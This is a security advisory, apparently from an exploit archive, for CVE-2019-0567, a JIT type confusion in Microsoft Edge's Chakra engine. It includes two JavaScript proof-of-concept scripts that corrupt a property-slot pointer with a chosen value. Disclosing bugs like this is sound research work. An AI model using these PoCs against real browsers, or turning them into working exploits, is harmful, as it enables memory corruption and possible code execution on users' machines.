Microsoft Edge Chakra JIT NewScObjectNoCtor / InitProto Type Confusion

2019.01.18
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 7.6/10
Impact Subscore: 10/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

Microsoft Edge: Chakra: JIT: Type confusion via NewScObjectNoCtor or InitProto CVE-2019-0567 NewScObjectNoCtor and InitProto opcodes are treated as having no side effects, but actually they can have via the SetIsPrototype method of the type handler that can cause transition to a new type. This can lead to type confusion in the JITed code. In the PoC, it overwrites the pointer to property slots with 0x1000000001234. PoC for NewScObjectNoCtor: function cons() { } function opt(o, value) { o.b = 1; new cons(); o.a = value; } function main() { for (let i = 0; i < 2000; i++) { cons.prototype = {}; let o = {a: 1, b: 2}; opt(o, {}); } let o = {a: 1, b: 2}; cons.prototype = o; opt(o, 0x1234); print(o.a); } main(); PoC for InitProto: function opt(o, proto, value) { o.b = 1; let tmp = {__proto__: proto}; o.a = value; } function main() { for (let i = 0; i < 2000; i++) { let o = {a: 1, b: 2}; opt(o, {}, {}); } let o = {a: 1, b: 2}; opt(o, o, 0x1234); print(o.a); } main(); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: lokihardt


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